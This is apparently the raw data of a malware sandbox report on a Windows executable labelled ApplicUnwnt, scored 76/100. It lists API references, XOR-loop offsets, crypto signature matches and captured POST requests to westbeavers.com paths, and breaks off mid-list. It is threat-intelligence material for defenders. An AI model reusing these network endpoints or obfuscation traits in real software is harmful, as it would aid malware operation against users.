24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 46:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4b3,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious ApplicUnwnt Sample 7f1db334fd33… — Score 76/100 — Hybrid Analysis","description":"Malicious verdict for sample 7f1db334fd33…. Malware family: ApplicUnwnt. Threat score 76/100. 3/28 AV engines flagged this file. 0 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","keywords":["Malicious","ApplicUnwnt","malware analysis","sandbox report","threat intelligence","7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3"],"about":{"@type":"SoftwareApplication","name":"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","applicationCategory":["peexe","64bits","executable"],"identifier":"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","additionalType":"Malicious sample"},"threatScore":76,"malwareFamily":"ApplicUnwnt","antivirusDetections":{"malicious":3,"total":28},"behavioralIndicators":{"malicious":0,"suspicious":10},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T76e,Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3")26:T81d,Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found api reference "CertDuplicateCertificateContext" (Indicator: "CertDuplicateCertificateContext"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found api reference "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found api reference "CertCloseStore" (Indicator: "CertCloseStore"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found api reference "CertVerifyCertificateChainPolicy" (Indicator: "CertVerifyCertificateChainPolicy"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found api reference "CertEnumCertificatesInStore" (Indicator: "CertEnumCertificatesInStore"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found api reference "CertDuplicateCertificateChain" (Indicator: "CertDuplicateCertificateChain"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found api reference "CertAddCertificateContextToStore" (Indicator: "CertAddCertificateContextToStore"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found api reference "CertDuplicateStore" (Indicator: "CertDuplicateStore"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found api reference "CertOpenStore" (Indicator: "CertOpenStore"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found api reference "CertFreeCertificateChain" (Indicator: "CertFreeCertificateChain"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found api reference "CertGetCertificateChain" (Indicator: "CertGetCertificateChain"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3")27:T1850,Assembly shows XOR instruction xor rax rsp in Stream UID: 64812-9292-00000001501CC790 Assembly shows XOR instruction xor eax esp in Stream UID: 64812-9292-00000001501CC790 Assembly shows XOR instruction xor rcx rsp in Stream UID: 64812-9292-00000001501CC790 Assembly shows XOR instruction xor ecx esp in Stream UID: 64812-9292-00000001501CC790 Assembly shows XOR instruction xor r12L 01h in Stream UID: 64812-9348-00000001500F36B0 Assembly shows XOR instruction xor ah 01h in Stream UID: 64812-9348-00000001500F36B0 Assembly shows XOR instruction xor al 01h in Stream UID: 64812-9378-00000001500E5CD0 Assembly shows XOR instruction xor rax rcx in Stream UID: 64812-9609-00000001500E56E0 Assembly shows XOR instruction xor eax ecx in Stream UID: 64812-9609-00000001500E56E0 Assembly shows XOR instruction xor al 01h in Stream UID: 64812-9609-00000001500E56E0 Assembly shows XOR instruction xor al dl in Stream UID: 64812-9612-0000000150092451 Assembly shows XOR instruction xor al byte ptr [rsi] in Stream UID: 64812-9612-0000000150092451 Assembly shows XOR instruction xor al r9L in Stream UID: 64812-9612-0000000150092451 Assembly shows XOR instruction xor al cl in Stream UID: 64812-9612-0000000150092451 Assembly shows XOR instruction xor al r10L in Stream UID: 64812-9612-0000000150092451 Assembly shows XOR instruction xor al byte ptr [rsi+r9] in Stream UID: 64812-9612-0000000150092451 Assembly shows XOR instruction xor al byte ptr [rsi+rcx] in Stream UID: 64812-9612-0000000150092451 Assembly shows XOR instruction xor r11 r8 in Stream UID: 64812-9695-000000014FE24B84 Assembly shows XOR instruction xor ebx eax in Stream UID: 64812-9695-000000014FE24B84 Assembly shows XOR instruction xor r10 66h in Stream UID: 64812-9695-000000014FE24B84 Assembly shows XOR instruction xor edx 66h in Stream UID: 64812-9695-000000014FE24B84 Assembly shows XOR instruction xor eax 2Eh in Stream UID: 64812-9859-00000001500F63E0 Assembly shows XOR instruction xor ecx 2Eh in Stream UID: 64812-9859-00000001500F63E0 Assembly shows XOR instruction xor bpl 01h in Stream UID: 64812-9963-000000014FEC4857 Assembly shows XOR instruction xor ch 01h in Stream UID: 64812-9963-000000014FEC4857 Assembly shows XOR instruction xor esi 01h in Stream UID: 64812-9990-000000014FFA83D5 Assembly shows XOR instruction xor rax 1Eh in Stream UID: 64812-9990-000000014FFA83D5 Assembly shows XOR instruction xor eax 1Eh in Stream UID: 64812-9990-000000014FFA83D5 Assembly shows XOR instruction xor al 01h in Stream UID: 64812-10456-000000014FE343C8 Assembly shows XOR instruction xor rcx qword ptr [rsp+000001A0h] in Stream UID: 64812-11008-000000014FE60C1B Assembly shows XOR instruction xor ecx dword ptr [rsp+000001A0h] in Stream UID: 64812-11008-000000014FE60C1B Assembly shows XOR instruction xor rax qword ptr [rsp+000001A8h] in Stream UID: 64812-11008-000000014FE60C1B Assembly shows XOR instruction xor eax dword ptr [rsp+000001A8h] in Stream UID: 64812-11008-000000014FE60C1B Assembly shows XOR instruction xor rdx rax in Stream UID: 64812-11008-000000014FE60C1B Assembly shows XOR instruction xor edx eax in Stream UID: 64812-11008-000000014FE60C1B Assembly shows XOR instruction xor dil 01h in Stream UID: 64812-12849-000000014FECD709 Assembly shows XOR instruction xor bh 01h in Stream UID: 64812-12849-000000014FECD709 Assembly shows XOR instruction xor cl al in Stream UID: 64812-12864-00000001501AEF82 Assembly shows XOR instruction xor ebp ebx in Stream UID: 64812-12871-00000001501AEB73 Assembly shows XOR instruction xor rax 1Eh in Stream UID: 64812-13055-000000014FED1BAC Assembly shows XOR instruction xor eax 1Eh in Stream UID: 64812-13055-000000014FED1BAC Assembly shows XOR instruction xor r15d edi in Stream UID: 64812-13149-000000014FED3FC4 Assembly shows XOR instruction xor r12d r13d in Stream UID: 64812-13149-000000014FED3FC4 Assembly shows XOR instruction xor esp ebp in Stream UID: 64812-13149-000000014FED3FC4 Assembly shows XOR instruction xor eax r15d in Stream UID: 64812-13466-000000014FECB6BD Assembly shows XOR instruction xor eax edi in Stream UID: 64812-13466-000000014FECB6BD Assembly shows XOR instruction xor edx ebp in Stream UID: 64812-13466-000000014FECB6BD Assembly shows XOR instruction xor al dl in Stream UID: 64812-13473-000000014FEE1E69 Assembly shows XOR instruction xor rdx rax in Stream UID: 64812-13487-000000014FEE0A91 Assembly shows XOR instruction xor edx eax in Stream UID: 64812-13487-000000014FEE0A91 Assembly shows XOR instruction xor eax r8d in Stream UID: 64812-16499-000000014FF9F63A Assembly shows XOR instruction xor ebx 01h in Stream UID: 64812-16568-000000014FFA46B5 Assembly shows XOR instruction xor rdx rax in Stream UID: 64812-18013-00000001501DA31E Assembly shows XOR instruction xor edx eax in Stream UID: 64812-18013-00000001501DA31E Assembly shows XOR instruction xor rcx rax in Stream UID: 64812-18013-00000001501DA31E Assembly shows XOR instruction xor ecx eax in Stream UID: 64812-18013-00000001501DA31E Assembly shows XOR instruction xor rdx rcx in Stream UID: 64812-18013-00000001501DA31E Assembly shows XOR instruction xor edx ecx in Stream UID: 64812-18013-00000001501DA31E Assembly shows XOR instruction xor rax rdx in Stream UID: 64812-18013-00000001501DA31E Assembly shows XOR instruction xor eax edx in Stream UID: 64812-18013-00000001501DA31E Assembly shows XOR instruction xor rax rcx in Stream UID: 64812-18013-00000001501DA31E Assembly shows XOR instruction xor eax ecx in Stream UID: 64812-18013-00000001501DA31E Assembly shows XOR instruction xor rbx 2Fh in Stream UID: 64812-18343-0000000150192FCA Assembly shows XOR instruction xor ebx 2Fh in Stream UID: 64812-18343-0000000150192FCA Assembly shows XOR instruction xor rax rbx in Stream UID: 64812-18359-00000001500188BB Assembly shows XOR instruction xor eax ebx in Stream UID: 64812-18359-00000001500188BB Assembly shows XOR instruction xor rsi rdi in Stream UID: 64812-18359-00000001500188BB Assembly shows XOR instruction xor esi edi in Stream UID: 64812-18359-00000001500188BB Assembly shows XOR instruction xor al 01h in Stream UID: 64812-18555-000000015001CA8C28:T58d,Contains base64 string in header "POST" in header "POST /quarry/vein HTTP/1.1content-type: text/plaincontent-length: 348accept: */*host: westbeavers.com" Contains base64 string in header "/quarry/vein" in header "POST /quarry/vein HTTP/1.1content-type: text/plaincontent-length: 348accept: */*host: westbeavers.com" Contains base64 string in header "1content" in header "POST /quarry/vein HTTP/1.1content-type: text/plaincontent-length: 348accept: */*host: westbeavers.com" Contains base64 string in header "type" in header "POST /quarry/vein HTTP/1.1content-type: text/plaincontent-length: 348accept: */*host: westbeavers.com" Contains base64 string in header "host" in header "POST /quarry/vein HTTP/1.1content-type: text/plaincontent-length: 348accept: */*host: westbeavers.com" Contains base64 string in header "POST" in header "POST /quarry/deposit HTTP/1.1content-type: text/plaincontent-length: 296accept: */*host: westbeavers.com" Contains base64 string in header "1content" in header "POST /quarry/deposit HTTP/1.1content-type: text/plaincontent-length: 296accept: */*host: westbeavers.com" Contains base64 string in header "type" in header "POST /quarry/deposit HTTP/1.1content-type: text/plaincontent-length: 296accept: */*host: westbeavers.com" Contains base64 string in header "host" in header "POST /quarry/deposit HTTP/1.1content-type: text/plaincontent-length: 296accept: */*host: westbeavers.com"29:T41b,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to encrypt/encode message (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Decrypted SSL network traffic Matched sigs: Contains CRYPTO related strings Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains reference to cryptographic keys Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: Contains XOR operation loops [Stream disassembly]2a:T17b2f,Found XOR loop in file "sample.bin" at offset 263971; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 281599; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 402807; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 404192; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 426046; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 791468; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 929469; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 930758; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 930808; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 944151; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 945543; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1344088; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1352065; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1377346; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1402140; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1414578; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1479113; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1520777; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1525489; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1525517; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1525543; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1525569; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2401487; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2403158; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2564004; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2564043; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2826117; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2831421; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2869445; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3143091; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3232002; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3552260; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5150109; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5673329; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5818087; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6315888; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7419641; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7543392; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7698912; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7792724; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7792732; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7797352; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3925926; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3926256; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3926748; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3927774; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3928092; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3928858; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3929319; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3929371; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3931741; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3933196; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3934239; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3936277; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3937056; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3937106; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3937957; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3938226; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3938463; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3940299; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3940479; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3940658; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3941153; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3941490; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3942380; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3944350; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3946002; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3946599; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3947993; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3948046; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3948356; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3948635; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3949034; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3952599; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3952951; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3953960; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3954312; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3954897; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3955182; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3956358; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3956508; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3957706; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3958761; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3959980; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3961731; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3961994; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3962277; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3965686; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3965862; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3966118; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3966287; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3966433; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3966530; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3967007; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3968052; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3968796; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3969678; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3971897; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3973086; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3975205; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3976355; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3976625; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3978129; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3979045; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3979599; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3979891; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3981115; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3981562; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3981637; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3983122; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3983474; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3984459; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3988067; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3988173; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3988538; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3988868; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3989095; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3989555; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3989774; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3990166; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3990202; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3993197; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3993553; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3994242; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3995521; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3996433; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3996677; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3996688; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3997152; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3998236; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3998881; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4001616; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4001742; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4001784; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4001815; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4001969; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4002854; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4004952; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4005715; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4005832; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4006995; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4009821; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4011519; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4012775; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4012967; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4014062; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4015025; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4016235; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4016789; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4016844; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4017412; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4018759; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4018913; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4019165; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4021219; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4021728; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4021734; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4022982; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4025217; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4025793; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4028289; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4030665; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4031038; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4031112; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4031946; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4033915; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4034199; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4034863; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4035826; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4036542; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4036754; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4037580; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4038943; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4039886; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4041044; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4043165; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4043402; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4043532; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4045984; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4046912; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4047552; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4049114; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4049494; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4050214; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4051060; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4052139; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4052905; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4053102; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4053161; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4053497; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4054806; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4056803; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4062453; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4062891; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4063660; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4063876; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4064089; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4064318; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4064574; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4065269; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4066278; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4066370; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4067864; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4069876; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4070501; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4072409; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4072606; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4073713; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4073839; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4074922; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4075986; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4077864; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4078494; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4079940; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4080347; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4080494; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4080856; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4084713; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4085843; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4086234; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4090740; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4092102; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4092359; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4092490; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4092891; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4093690; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4095469; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4095571; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4097546; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4099511; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4100142; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4101972; code bytes = 33c1 Found XOR 